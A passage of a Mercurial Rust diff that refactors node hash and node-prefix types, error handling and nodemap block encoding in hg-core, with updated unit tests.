+#[allow(unused)] +pub(crate) const SPARSEREVLOG_REQUIREMENT: &str = "sparserevlog"; + +/// A repository with the sidedataflag requirement will allow to store extra +/// information for revision without altering their original hashes. +#[allow(unused)] +pub(crate) const SIDEDATA_REQUIREMENT: &str = "exp-sidedata-flag"; + +/// A repository with the the copies-sidedata-changeset requirement will store +/// copies related information in changeset's sidedata. +#[allow(unused)] +pub(crate) const COPIESSDC_REQUIREMENT: &str = "exp-copies-sidedata-changeset"; + +/// The repository use persistent nodemap for the changelog and the manifest. +#[allow(unused)] +pub(crate) const NODEMAP_REQUIREMENT: &str = "persistent-nodemap"; + +/// Denotes that the current repository is a share +#[allow(unused)] +pub(crate) const SHARED_REQUIREMENT: &str = "shared"; + +/// Denotes that current repository is a share and the shared source path is +/// relative to the current repository root path +#[allow(unused)] +pub(crate) const RELATIVE_SHARED_REQUIREMENT: &str = "relshared"; + +/// A repository with share implemented safely. The repository has different +/// store and working copy requirements i.e. both `.hg/requires` and +/// `.hg/store/requires` are present. +#[allow(unused)] +pub(crate) const SHARESAFE_REQUIREMENT: &str = "share-safe"; + +/// A repository that use zstd compression inside its revlog +#[allow(unused)] +pub(crate) const REVLOG_COMPRESSION_ZSTD: &str = "revlog-compression-zstd"; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog.rs --- a/rust/hg-core/src/revlog.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog.rs Tue Apr 20 11:01:06 2021 -0400 @@ -9,7 +9,7 @@ pub mod nodemap; mod nodemap_docket; pub mod path_encode; -pub use node::{Node, NodeError, NodePrefix, NodePrefixRef}; +pub use node::{FromHexError, Node, NodePrefix}; pub mod changelog; pub mod index; pub mod manifest; @@ -35,6 +35,9 @@ #[allow(clippy::unreadable_literal)] pub const WORKING_DIRECTORY_REVISION: Revision = 0x7fffffff; +pub const WORKING_DIRECTORY_HEX: &str = + "ffffffffffffffffffffffffffffffffffffffff"; + /// The simplest expression of what we need of Mercurial DAGs. pub trait Graph { /// Return the two parents of the given `Revision`. diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/changelog.rs --- a/rust/hg-core/src/revlog/changelog.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/changelog.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,12 +1,13 @@ +use crate::errors::HgError; use crate::repo::Repo; use crate::revlog::revlog::{Revlog, RevlogError}; -use crate::revlog::NodePrefixRef; use crate::revlog::Revision; +use crate::revlog::{Node, NodePrefix}; /// A specialized `Revlog` to work with `changelog` data format. pub struct Changelog { /// The generic `revlog` format. - revlog: Revlog, + pub(crate) revlog: Revlog, } impl Changelog { @@ -19,7 +20,7 @@ /// Return the `ChangelogEntry` a given node id. pub fn get_node( &self, - node: NodePrefixRef, + node: NodePrefix, ) -> Result { let rev = self.revlog.get_node_rev(node)?; self.get_rev(rev) @@ -33,6 +34,10 @@ let bytes = self.revlog.get_rev_data(rev)?; Ok(ChangelogEntry { bytes }) } + + pub fn node_from_rev(&self, rev: Revision) -> Option<&Node> { + Some(self.revlog.index.get_entry(rev)?.hash()) + } } /// `Changelog` entry which knows how to interpret the `changelog` data bytes. @@ -53,6 +58,8 @@ /// Return the node id of the `manifest` referenced by this `changelog` /// entry. pub fn manifest_node(&self) -> Result<&[u8], RevlogError> { - self.lines().next().ok_or(RevlogError::Corrupted) + self.lines() + .next() + .ok_or_else(|| HgError::corrupted("empty changelog entry").into()) } } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/index.rs --- a/rust/hg-core/src/revlog/index.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/index.rs Tue Apr 20 11:01:06 2021 -0400 @@ -3,6 +3,7 @@ use byteorder::{BigEndian, ByteOrder}; +use crate::errors::HgError; use crate::revlog::node::Node; use crate::revlog::revlog::RevlogError; use crate::revlog::{Revision, NULL_REVISION}; @@ -44,7 +45,8 @@ offsets: Some(offsets), }) } else { - Err(RevlogError::Corrupted) + Err(HgError::corrupted("unexpected inline revlog length") + .into()) } } else { Ok(Self { @@ -298,12 +300,12 @@ // Remaining offset bytes. bytes.extend(&[0u8; 2]); } else { - // Offset is only 6 bytes will usize is 8. - bytes.extend(&self.offset.to_be_bytes()[2..]); + // Offset stored on 48 bits (6 bytes) + bytes.extend(&(self.offset as u64).to_be_bytes()[2..]); } bytes.extend(&[0u8; 2]); // Revision flags. - bytes.extend(&self.compressed_len.to_be_bytes()[4..]); - bytes.extend(&self.uncompressed_len.to_be_bytes()[4..]); + bytes.extend(&(self.compressed_len as u32).to_be_bytes()); + bytes.extend(&(self.uncompressed_len as u32).to_be_bytes()); bytes.extend(&self.base_revision.to_be_bytes()); bytes } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/manifest.rs --- a/rust/hg-core/src/revlog/manifest.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/manifest.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ use crate::repo::Repo; use crate::revlog::revlog::{Revlog, RevlogError}; -use crate::revlog::NodePrefixRef; +use crate::revlog::NodePrefix; use crate::revlog::Revision; use crate::utils::hg_path::HgPath; @@ -20,7 +20,7 @@ /// Return the `ManifestEntry` of a given node id. pub fn get_node( &self, - node: NodePrefixRef, + node: NodePrefix, ) -> Result { let rev = self.revlog.get_node_rev(node)?; self.get_rev(rev) diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/node.rs --- a/rust/hg-core/src/revlog/node.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/node.rs Tue Apr 20 11:01:06 2021 -0400 @@ -8,8 +8,10 @@ //! In Mercurial code base, it is customary to call "a node" the binary SHA //! of a revision. -use hex::{self, FromHex, FromHexError}; +use crate::errors::HgError; +use bytes_cast::BytesCast; use std::convert::{TryFrom, TryInto}; +use std::fmt; /// The length in bytes of a `Node` /// @@ -29,6 +31,9 @@ /// see also `NODES_BYTES_LENGTH` about it being private. const NODE_NYBBLES_LENGTH: usize = 2 * NODE_BYTES_LENGTH; +/// Default for UI presentation +const SHORT_PREFIX_DEFAULT_NYBBLES_LENGTH: u8 = 12; + /// Private alias for readability and to ease future change type NodeData = [u8; NODE_BYTES_LENGTH]; @@ -45,11 +50,10 @@ /// if they need a loop boundary. /// /// All methods that create a `Node` either take a type that enforces -/// the size or fail immediately at runtime with [`ExactLengthRequired`]. +/// the size or return an error at runtime. /// /// [`nybbles_len`]: #method.nybbles_len -/// [`ExactLengthRequired`]: struct.NodeError#variant.ExactLengthRequired -#[derive(Clone, Debug, PartialEq)] +#[derive(Copy, Clone, Debug, PartialEq, BytesCast, derive_more::From)] #[repr(transparent)] pub struct Node { data: NodeData, @@ -60,32 +64,49 @@ data: [0; NODE_BYTES_LENGTH], }; -impl From for Node { - fn from(data: NodeData) -> Node { - Node { data } +/// Return an error if the slice has an unexpected length +impl<'a> TryFrom<&'a [u8]> for &'a Node { + type Error = (); + + #[inline] + fn try_from(bytes: &'a [u8]) -> Result { + match Node::from_bytes(bytes) { + Ok((node, rest)) if rest.is_empty() => Ok(node), + _ => Err(()), + } } } /// Return an error if the slice has an unexpected length -impl<'a> TryFrom<&'a [u8]> for &'a Node { +impl TryFrom<&'_ [u8]> for Node { type Error = std::array::TryFromSliceError; #[inline] - fn try_from(bytes: &'a [u8]) -> Result<&'a Node, Self::Error> { + fn try_from(bytes: &'_ [u8]) -> Result { let data = bytes.try_into()?; - // Safety: `#[repr(transparent)]` makes it ok to "wrap" the target - // of a reference to the type of the single field. - Ok(unsafe { std::mem::transmute::<&NodeData, &Node>(data) }) + Ok(Self { data }) } } -#[derive(Debug, PartialEq)] -pub enum NodeError { - ExactLengthRequired(usize, String), - PrefixTooLong(String), - HexError(FromHexError, String), +impl From<&'_ NodeData> for Node { + #[inline] + fn from(data: &'_ NodeData) -> Self { + Self { data: *data } + } } +impl fmt::LowerHex for Node { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + for &byte in &self.data { + write!(f, "{:02x}", byte)? + } + Ok(()) + } +} + +#[derive(Debug)] +pub struct FromHexError; + /// Low level utility function, also for prefixes fn get_nybble(s: &[u8], i: usize) -> u8 { if i % 2 == 0 { @@ -117,18 +138,26 @@ /// /// To be used in FFI and I/O only, in order to facilitate future /// changes of hash format. - pub fn from_hex(hex: impl AsRef<[u8]>) -> Result { - Ok(NodeData::from_hex(hex.as_ref()) - .map_err(|e| NodeError::from((e, hex)))? - .into()) + pub fn from_hex(hex: impl AsRef<[u8]>) -> Result { + let prefix = NodePrefix::from_hex(hex)?; + if prefix.nybbles_len() == NODE_NYBBLES_LENGTH { + Ok(Self { data: prefix.data }) + } else { + Err(FromHexError) + } } - /// Convert to hexadecimal string representation + /// `from_hex`, but for input from an internal file of the repository such + /// as a changelog or manifest entry. /// - /// To be used in FFI and I/O only, in order to facilitate future - /// changes of hash format. - pub fn encode_hex(&self) -> String { - hex::encode(self.data) + /// An error is treated as repository corruption. + pub fn from_hex_for_repo(hex: impl AsRef<[u8]>) -> Result { + Self::from_hex(hex.as_ref()).map_err(|FromHexError| { + HgError::CorruptedRepository(format!( + "Expected a full hexadecimal node ID, found {}", + String::from_utf8_lossy(hex.as_ref()) + )) + }) } /// Provide access to binary data @@ -138,17 +167,11 @@ pub fn as_bytes(&self) -> &[u8] { &self.data } -} -impl> From<(FromHexError, T)> for NodeError { - fn from(err_offender: (FromHexError, T)) -> Self { - let (err, offender) = err_offender; - let offender = String::from_utf8_lossy(offender.as_ref()).into_owned(); - match err { - FromHexError::InvalidStringLength => { - NodeError::ExactLengthRequired(NODE_NYBBLES_LENGTH, offender) - } - _ => NodeError::HexError(err, offender), + pub fn short(&self) -> NodePrefix { + NodePrefix { + nybbles_len: SHORT_PREFIX_DEFAULT_NYBBLES_LENGTH, + data: self.data, } } } @@ -158,10 +181,14 @@ /// Since it can potentially come from an hexadecimal representation with /// odd length, it needs to carry around whether the last 4 bits are relevant /// or not. -#[derive(Debug, PartialEq)] +#[derive(Debug, PartialEq, Copy, Clone)] pub struct NodePrefix { - buf: Vec, - is_odd: bool, + /// In `1..=NODE_NYBBLES_LENGTH` + nybbles_len: u8, + /// The first `4 * length_in_nybbles` bits are used (considering bits + /// within a bytes in big-endian: most significant first), the rest + /// are zero. + data: NodeData, } impl NodePrefix { @@ -172,72 +199,42 @@ /// /// To be used in FFI and I/O only, in order to facilitate future /// changes of hash format. - pub fn from_hex(hex: impl AsRef<[u8]>) -> Result { + pub fn from_hex(hex: impl AsRef<[u8]>) -> Result { let hex = hex.as_ref(); let len = hex.len(); - if len > NODE_NYBBLES_LENGTH { - return Err(NodeError::PrefixTooLong( - String::from_utf8_lossy(hex).to_owned().to_string(), - )); + if len > NODE_NYBBLES_LENGTH || len == 0 { + return Err(FromHexError); } - let is_odd = len % 2 == 1; - let even_part = if is_odd { &hex[..len - 1] } else { hex }; - let mut buf: Vec = - Vec::from_hex(&even_part).map_err(|e| (e, hex))?; - - if is_odd { - let latest_char = char::from(hex[len - 1]); - let latest_nybble = latest_char.to_digit(16).ok_or_else(|| { - ( - FromHexError::InvalidHexCharacter { - c: latest_char, - index: len - 1, - }, - hex, - ) - })? as u8; - buf.push(latest_nybble << 4); + let mut data = [0; NODE_BYTES_LENGTH]; + let mut nybbles_len = 0; + for &ascii_byte in hex { + let nybble = match char::from(ascii_byte).to_digit(16) { + Some(digit) => digit as u8, + None => return Err(FromHexError), + }; + // Fill in the upper half of a byte first, then the lower half. + let shift = if nybbles_len % 2 == 0 { 4 } else { 0 }; + data[nybbles_len as usize / 2] |= nybble << shift; + nybbles_len += 1; } - Ok(NodePrefix { buf, is_odd }) + Ok(Self { data, nybbles_len }) } - pub fn borrow(&self) -> NodePrefixRef { - NodePrefixRef { - buf: &self.buf, - is_odd: self.is_odd, - } - } -} - -#[derive(Clone, Debug, PartialEq)] -pub struct NodePrefixRef<'a> { - buf: &'a [u8], - is_odd: bool, -} - -impl<'a> NodePrefixRef<'a> { - pub fn len(&self) -> usize { - if self.is_odd { - self.buf.len() * 2 - 1 - } else { - self.buf.len() * 2 - } - } - - pub fn is_empty(&self) -> bool { - self.len() == 0 + pub fn nybbles_len(&self) -> usize { + self.nybbles_len as _ } pub fn is_prefix_of(&self, node: &Node) -> bool { - if self.is_odd { - let buf = self.buf; - let last_pos = buf.len() - 1; - node.data.starts_with(buf.split_at(last_pos).0) - && node.data[last_pos] >> 4 == buf[last_pos] >> 4 - } else { - node.data.starts_with(self.buf) + let full_bytes = self.nybbles_len() / 2; + if self.data[..full_bytes] != node.data[..full_bytes] { + return false; } + if self.nybbles_len() % 2 == 0 { + return true; + } + let last = self.nybbles_len() - 1; + self.get_nybble(last) == node.get_nybble(last) } /// Retrieve the `i`th half-byte from the prefix. @@ -245,8 +242,12 @@ /// This is also the `i`th hexadecimal digit in numeric form, /// also called a [nybble](https://en.wikipedia.org/wiki/Nibble). pub fn get_nybble(&self, i: usize) -> u8 { - assert!(i < self.len()); - get_nybble(self.buf, i) + assert!(i < self.nybbles_len()); + get_nybble(&self.data, i) + } + + fn iter_nybbles(&self) -> impl Iterator + '_ { + (0..self.nybbles_len()).map(move |i| get_nybble(&self.data, i)) } /// Return the index first nybble that's different from `node` @@ -257,42 +258,49 @@ /// /// Returned index is as in `get_nybble`, i.e., starting at 0. pub fn first_different_nybble(&self, node: &Node) -> Option { - let buf = self.buf; - let until = if self.is_odd { - buf.len() - 1 - } else { - buf.len() - }; - for (i, item) in buf.iter().enumerate().take(until) { - if *item != node.data[i] { - return if *item & 0xf0 == node.data[i] & 0xf0 { - Some(2 * i + 1) - } else { - Some(2 * i) - }; - } + self.iter_nybbles() + .zip(NodePrefix::from(*node).iter_nybbles()) + .position(|(a, b)| a != b) + } +} + +impl fmt::LowerHex for NodePrefix { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + let full_bytes = self.nybbles_len() / 2; + for &byte in &self.data[..full_bytes] { + write!(f, "{:02x}", byte)? } - if self.is_odd && buf[until] & 0xf0 != node.data[until] & 0xf0 { - Some(until * 2) - } else { - None + if self.nybbles_len() % 2 == 1 { + let last = self.nybbles_len() - 1; + write!(f, "{:x}", self.get_nybble(last))? + } + Ok(()) + } +} + +/// A shortcut for full `Node` references +impl From<&'_ Node> for NodePrefix { + fn from(node: &'_ Node) -> Self { + NodePrefix { + nybbles_len: node.nybbles_len() as _, + data: node.data, } } } /// A shortcut for full `Node` references -impl<'a> From<&'a Node> for NodePrefixRef<'a> { - fn from(node: &'a Node) -> Self { - NodePrefixRef { - buf: &node.data, - is_odd: false, +impl From for NodePrefix { + fn from(node: Node) -> Self { + NodePrefix { + nybbles_len: node.nybbles_len() as _, + data: node.data, } } } -impl PartialEq for NodePrefixRef<'_> { +impl PartialEq for NodePrefix { fn eq(&self, other: &Node) -> bool { - !self.is_odd && self.buf == other.data + Self::from(*other) == *self } } @@ -300,18 +308,16 @@ mod tests { use super::*; - fn sample_node() -> Node { - let mut data = [0; NODE_BYTES_LENGTH]; - data.copy_from_slice(&[ + const SAMPLE_NODE_HEX: &str = "0123456789abcdeffedcba9876543210deadbeef"; + const SAMPLE_NODE: Node = Node { + data: [ 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0xde, 0xad, 0xbe, 0xef, - ]); - data.into() - } + ], + }; /// Pad an hexadecimal string to reach `NODE_NYBBLES_LENGTH` - ///check_hash - /// The padding is made with zeros + /// The padding is made with zeros. pub fn hex_pad_right(hex: &str) -> String { let mut res = hex.to_string(); while res.len() < NODE_NYBBLES_LENGTH { @@ -320,135 +326,88 @@ res } - fn sample_node_hex() -> String { - hex_pad_right("0123456789abcdeffedcba9876543210deadbeef") - } - #[test] fn test_node_from_hex() { - assert_eq!(Node::from_hex(&sample_node_hex()), Ok(sample_node())); - - let mut short = hex_pad_right("0123"); - short.pop(); - short.pop(); - assert_eq!( - Node::from_hex(&short), - Err(NodeError::ExactLengthRequired(NODE_NYBBLES_LENGTH, short)), - ); - - let not_hex = hex_pad_right("012... oops"); - assert_eq!( - Node::from_hex(¬_hex), - Err(NodeError::HexError( - FromHexError::InvalidHexCharacter { c: '.', index: 3 }, - not_hex, - )), - ); + let not_hex = "012... oops"; + let too_short = "0123"; + let too_long = format!("{}0", SAMPLE_NODE_HEX); + assert_eq!(Node::from_hex(SAMPLE_NODE_HEX).unwrap(), SAMPLE_NODE); + assert!(Node::from_hex(not_hex).is_err()); + assert!(Node::from_hex(too_short).is_err()); + assert!(Node::from_hex(&too_long).is_err()); } #[test] fn test_node_encode_hex() { - assert_eq!(sample_node().encode_hex(), sample_node_hex()); + assert_eq!(format!("{:x}", SAMPLE_NODE), SAMPLE_NODE_HEX); } #[test] - fn test_prefix_from_hex() -> Result<(), NodeError> { - assert_eq!( - NodePrefix::from_hex("0e1")?, - NodePrefix { - buf: vec![14, 16], - is_odd: true - } - ); + fn test_prefix_from_to_hex() -> Result<(), FromHexError> { + assert_eq!(format!("{:x}", NodePrefix::from_hex("0e1")?), "0e1"); + assert_eq!(format!("{:x}", NodePrefix::from_hex("0e1a")?), "0e1a"); assert_eq!( - NodePrefix::from_hex("0e1a")?, - NodePrefix { - buf: vec![14, 26], - is_odd: false - } + format!("{:x}", NodePrefix::from_hex(SAMPLE_NODE_HEX)?), + SAMPLE_NODE_HEX ); - - // checking limit case - let node_as_vec = sample_node().data.iter().cloned().collect(); - assert_eq!( - NodePrefix::from_hex(sample_node_hex())?, - NodePrefix { - buf: node_as_vec, - is_odd: false - } - ); - Ok(()) } #[test] fn test_prefix_from_hex_errors() { - assert_eq!( - NodePrefix::from_hex("testgr"), - Err(NodeError::HexError( - FromHexError::InvalidHexCharacter { c: 't', index: 0 }, - "testgr".to_string() - )) - ); - let mut long = NULL_NODE.encode_hex(); + assert!(NodePrefix::from_hex("testgr").is_err()); + let mut long = format!("{:x}", NULL_NODE); long.push('c'); - match NodePrefix::from_hex(&long) - .expect_err("should be refused as too long") - { - NodeError::PrefixTooLong(s) => assert_eq!(s, long), - err => panic!(format!("Should have been TooLong, got {:?}", err)), - } + assert!(NodePrefix::from_hex(&long).is_err()) } #[test] - fn test_is_prefix_of() -> Result<(), NodeError> { + fn test_is_prefix_of() -> Result<(), FromHexError> { let mut node_data = [0; NODE_BYTES_LENGTH]; node_data[0] = 0x12; node_data[1] = 0xca; let node = Node::from(node_data); - assert!(NodePrefix::from_hex("12")?.borrow().is_prefix_of(&node)); - assert!(!NodePrefix::from_hex("1a")?.borrow().is_prefix_of(&node)); - assert!(NodePrefix::from_hex("12c")?.borrow().is_prefix_of(&node)); - assert!(!NodePrefix::from_hex("12d")?.borrow().is_prefix_of(&node)); + assert!(NodePrefix::from_hex("12")?.is_prefix_of(&node)); + assert!(!NodePrefix::from_hex("1a")?.is_prefix_of(&node)); + assert!(NodePrefix::from_hex("12c")?.is_prefix_of(&node)); + assert!(!NodePrefix::from_hex("12d")?.is_prefix_of(&node)); Ok(()) } #[test] - fn test_get_nybble() -> Result<(), NodeError> { + fn test_get_nybble() -> Result<(), FromHexError> { let prefix = NodePrefix::from_hex("dead6789cafe")?; - assert_eq!(prefix.borrow().get_nybble(0), 13); - assert_eq!(prefix.borrow().get_nybble(7), 9); + assert_eq!(prefix.get_nybble(0), 13); + assert_eq!(prefix.get_nybble(7), 9); Ok(()) } #[test] fn test_first_different_nybble_even_prefix() { let prefix = NodePrefix::from_hex("12ca").unwrap(); - let prefref = prefix.borrow(); let mut node = Node::from([0; NODE_BYTES_LENGTH]); - assert_eq!(prefref.first_different_nybble(&node), Some(0)); + assert_eq!(prefix.first_different_nybble(&node), Some(0)); node.data[0] = 0x13; - assert_eq!(prefref.first_different_nybble(&node), Some(1)); + assert_eq!(prefix.first_different_nybble(&node), Some(1)); node.data[0] = 0x12; - assert_eq!(prefref.first_different_nybble(&node), Some(2)); + assert_eq!(prefix.first_different_nybble(&node), Some(2)); node.data[1] = 0xca; // now it is a prefix - assert_eq!(prefref.first_different_nybble(&node), None); + assert_eq!(prefix.first_different_nybble(&node), None); } #[test] fn test_first_different_nybble_odd_prefix() { let prefix = NodePrefix::from_hex("12c").unwrap(); - let prefref = prefix.borrow(); let mut node = Node::from([0; NODE_BYTES_LENGTH]); - assert_eq!(prefref.first_different_nybble(&node), Some(0)); + assert_eq!(prefix.first_different_nybble(&node), Some(0)); node.data[0] = 0x13; - assert_eq!(prefref.first_different_nybble(&node), Some(1)); + assert_eq!(prefix.first_different_nybble(&node), Some(1)); node.data[0] = 0x12; - assert_eq!(prefref.first_different_nybble(&node), Some(2)); + assert_eq!(prefix.first_different_nybble(&node), Some(2)); node.data[1] = 0xca; // now it is a prefix - assert_eq!(prefref.first_different_nybble(&node), None); + assert_eq!(prefix.first_different_nybble(&node), None); } } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/revlog/nodemap.rs --- a/rust/hg-core/src/revlog/nodemap.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/revlog/nodemap.rs Tue Apr 20 11:01:06 2021 -0400 @@ -13,31 +13,23 @@ //! is used in a more abstract context. use super::{ - node::NULL_NODE, Node, NodeError, NodePrefix, NodePrefixRef, Revision, - RevlogIndex, NULL_REVISION, + node::NULL_NODE, Node, NodePrefix, Revision, RevlogIndex, NULL_REVISION, }; +use bytes_cast::{unaligned, BytesCast}; use std::cmp::max; use std::fmt; -use std::mem; +use std::mem::{self, align_of, size_of}; use std::ops::Deref; use std::ops::Index; -use std::slice; #[derive(Debug, PartialEq)] pub enum NodeMapError { MultipleResults, - InvalidNodePrefix(NodeError), /// A `Revision` stored in the nodemap could not be found in the index RevisionNotInIndex(Revision), } -impl From for NodeMapError { - fn from(err: NodeError) -> Self { - NodeMapError::InvalidNodePrefix(err) - } -} - /// Mapping system from Mercurial nodes to revision numbers. /// /// ## `RevlogIndex` and `NodeMap` @@ -82,24 +74,9 @@ fn find_bin<'a>( &self, idx: &impl RevlogIndex, - prefix: NodePrefixRef<'a>, + prefix: NodePrefix, ) -> Result, NodeMapError>; - /// Find the unique Revision whose `Node` hexadecimal string representation - /// starts with a given prefix - /// - /// If no Revision matches the given prefix, `Ok(None)` is returned. - /// - /// If several Revisions match the given prefix, a [`MultipleResults`] - /// error is returned. - fn find_hex( - &self, - idx: &impl RevlogIndex, - prefix: &str, - ) -> Result, NodeMapError> { - self.find_bin(idx, NodePrefix::from_hex(prefix)?.borrow()) - } - /// Give the size of the shortest node prefix that determines /// the revision uniquely. /// @@ -114,19 +91,9 @@ fn unique_prefix_len_bin<'a>( &self, idx: &impl RevlogIndex, - node_prefix: NodePrefixRef<'a>, + node_prefix: NodePrefix, ) -> Result, NodeMapError>; - /// Same as `unique_prefix_len_bin`, with the hexadecimal representation - /// of the prefix as input. - fn unique_prefix_len_hex( - &self, - idx: &impl RevlogIndex, - prefix: &str, - ) -> Result, NodeMapError> { - self.unique_prefix_len_bin(idx, NodePrefix::from_hex(prefix)?.borrow()) - } - /// Same as `unique_prefix_len_bin`, with a full `Node` as input fn unique_prefix_len_node( &self, @@ -149,7 +116,7 @@ /// Low level NodeTree [`Blocks`] elements /// /// These are exactly as for instance on persistent storage. -type RawElement = i32; +type RawElement = unaligned::I32Be; /// High level representation of values in NodeTree /// [`Blocks`](struct.Block.html) @@ -168,23 +135,24 @@ /// /// See [`Block`](struct.Block.html) for explanation about the encoding. fn from(raw: RawElement) -> Element { - if raw >= 0 { - Element::Block(raw as usize) - } else if raw == -1 { + let int = raw.get(); + if int >= 0 { + Element::Block(int as usize) + } else if int == -1 { Element::None } else { - Element::Rev(-raw - 2) + Element::Rev(-int - 2) } } } impl From for RawElement { fn from(element: Element) -> RawElement { - match element { + RawElement::from(match element { Element::None => 0, - Element::Block(i) => i as RawElement, + Element::Block(i) => i as i32, Element::Rev(rev) => -rev - 2, - } + }) } } @@ -212,42 +180,24 @@ /// represented at all, because we want an immutable empty nodetree /// to be valid. -#[derive(Copy, Clone)] -pub struct Block([u8; BLOCK_SIZE]); +const ELEMENTS_PER_BLOCK: usize = 16; // number of different values in a nybble -/// Not derivable for arrays of length >32 until const generics are stable -impl PartialEq for Block { - fn eq(&self, other: &Self) -> bool { - self.0[..] == other.0[..] - } -} - -pub const BLOCK_SIZE: usize = 64; +#[derive(Copy, Clone, BytesCast, PartialEq)] +#[repr(transparent)] +pub struct Block([RawElement; ELEMENTS_PER_BLOCK]); impl Block { fn new() -> Self { - // -1 in 2's complement to create an absent node - let byte: u8 = 255; - Block([byte; BLOCK_SIZE]) + let absent_node = RawElement::from(-1); + Block([absent_node; ELEMENTS_PER_BLOCK]) } fn get(&self, nybble: u8) -> Element { - let index = nybble as usize * mem::size_of::(); - Element::from(RawElement::from_be_bytes([ - self.0[index], - self.0[index + 1], - self.0[index + 2], - self.0[index + 3], - ])) + self.0[nybble as usize].into() } fn set(&mut self, nybble: u8, element: Element) { - let values = RawElement::to_be_bytes(element.into()); - let index = nybble as usize * mem::size_of::(); - self.0[index] = values[0]; - self.0[index + 1] = values[1]; - self.0[index + 2] = values[2]; - self.0[index + 3] = values[3]; + self.0[nybble as usize] = element.into() } } @@ -295,7 +245,7 @@ /// Return `None` unless the `Node` for `rev` has given prefix in `index`. fn has_prefix_or_none( idx: &impl RevlogIndex, - prefix: NodePrefixRef, + prefix: NodePrefix, rev: Revision, ) -> Result, NodeMapError> { idx.node(rev) @@ -316,7 +266,7 @@ /// revision is the only one for a *subprefix* of the one being looked up. fn validate_candidate( idx: &impl RevlogIndex, - prefix: NodePrefixRef, + prefix: NodePrefix, candidate: (Option, usize), ) -> Result<(Option, usize), NodeMapError> { let (rev, steps) = candidate; @@ -398,16 +348,17 @@ // Transmute the `Vec` to a `Vec`. Blocks are contiguous // bytes, so this is perfectly safe. let bytes = unsafe { - // Assert that `Block` hasn't been changed and has no padding - let _: [u8; 4 * BLOCK_SIZE] = - std::mem::transmute([Block::new(); 4]); + // Check for compatible allocation layout. + // (Optimized away by constant-folding + dead code elimination.) + assert_eq!(size_of::(), 64); + assert_eq!(align_of::(), 1); // /!\ Any use of `vec` after this is use-after-free. // TODO: use `into_raw_parts` once stabilized Vec::from_raw_parts( vec.as_ptr() as *mut u8, - vec.len() * BLOCK_SIZE, - vec.capacity() * BLOCK_SIZE, + vec.len() * size_of::(), + vec.capacity() * size_of::(), ) }; (readonly, bytes) @@ -442,7 +393,7 @@ /// `NodeTree`). fn lookup( &self, - prefix: NodePrefixRef, + prefix: NodePrefix, ) -> Result<(Option, usize), NodeMapError> { for (i, visit_item) in self.visit(prefix).enumerate() { if let Some(opt) = visit_item.final_revision() { @@ -452,10 +403,7 @@ Err(NodeMapError::MultipleResults) } - fn visit<'n, 'p>( - &'n self, - prefix: NodePrefixRef<'p>, - ) -> NodeTreeVisitor<'n, 'p> { + fn visit<'n>(&'n self, prefix: NodePrefix) -> NodeTreeVisitor<'n> { NodeTreeVisitor { nt: self, prefix, @@ -613,7 +561,7 @@ amount: usize, ) -> Self { assert!(buffer.len() >= amount); - let len_in_blocks = amount / BLOCK_SIZE; + let len_in_blocks = amount / size_of::(); NodeTreeBytes { buffer, len_in_blocks, @@ -625,18 +573,17 @@ type Target = [Block]; fn deref(&self) -> &[Block] { - unsafe { - slice::from_raw_parts( - (&self.buffer).as_ptr() as *const Block, - self.len_in_blocks, - ) - } + Block::slice_from_bytes(&self.buffer, self.len_in_blocks) + // `NodeTreeBytes::new` already asserted that `self.buffer` is + // large enough. + .unwrap() + .0 } } -struct NodeTreeVisitor<'n, 'p> { +struct NodeTreeVisitor<'n> { nt: &'n NodeTree, - prefix: NodePrefixRef<'p>, + prefix: NodePrefix, visit: usize, nybble_idx: usize, done: bool, @@ -649,11 +596,11 @@ element: Element, } -impl<'n, 'p> Iterator for NodeTreeVisitor<'n, 'p> { +impl<'n> Iterator for NodeTreeVisitor<'n> { type Item = NodeTreeVisitItem; fn next(&mut self) -> Option { - if self.done || self.nybble_idx >= self.prefix.len() { + if self.done || self.nybble_idx >= self.prefix.nybbles_len() { return None; } @@ -718,18 +665,18 @@ fn find_bin<'a>( &self, idx: &impl RevlogIndex, - prefix: NodePrefixRef<'a>, + prefix: NodePrefix, ) -> Result, NodeMapError> { - validate_candidate(idx, prefix.clone(), self.lookup(prefix)?) + validate_candidate(idx, prefix, self.lookup(prefix)?) .map(|(opt, _shortest)| opt) } fn unique_prefix_len_bin<'a>( &self, idx: &impl RevlogIndex, - prefix: NodePrefixRef<'a>, + prefix: NodePrefix, ) -> Result, NodeMapError> { - validate_candidate(idx, prefix.clone(), self.lookup(prefix)?) + validate_candidate(idx, prefix, self.lookup(prefix)?) .map(|(opt, shortest)| opt.map(|_rev| shortest)) } } @@ -774,13 +721,13 @@ let mut raw = [255u8; 64]; let mut counter = 0; - for val in [0, 15, -2, -1, -3].iter() { - for byte in RawElement::to_be_bytes(*val).iter() { + for val in [0_i32, 15, -2, -1, -3].iter() { + for byte in val.to_be_bytes().iter() { raw[counter] = *byte; counter += 1; } } - let block = Block(raw); + let (block, _) = Block::from_bytes(&raw).unwrap(); assert_eq!(block.get(0), Element::Block(0)); assert_eq!(block.get(1), Element::Block(15)); assert_eq!(block.get(3), Element::None); @@ -822,6 +769,10 @@ ]) } + fn hex(s: &str) -> NodePrefix { + NodePrefix::from_hex(s).unwrap() + } + #[test] fn test_nt_debug() { let nt = sample_nodetree(); @@ -840,11 +791,11 @@ pad_insert(&mut idx, 1, "1234deadcafe"); let nt = NodeTree::from(vec![block! {1: 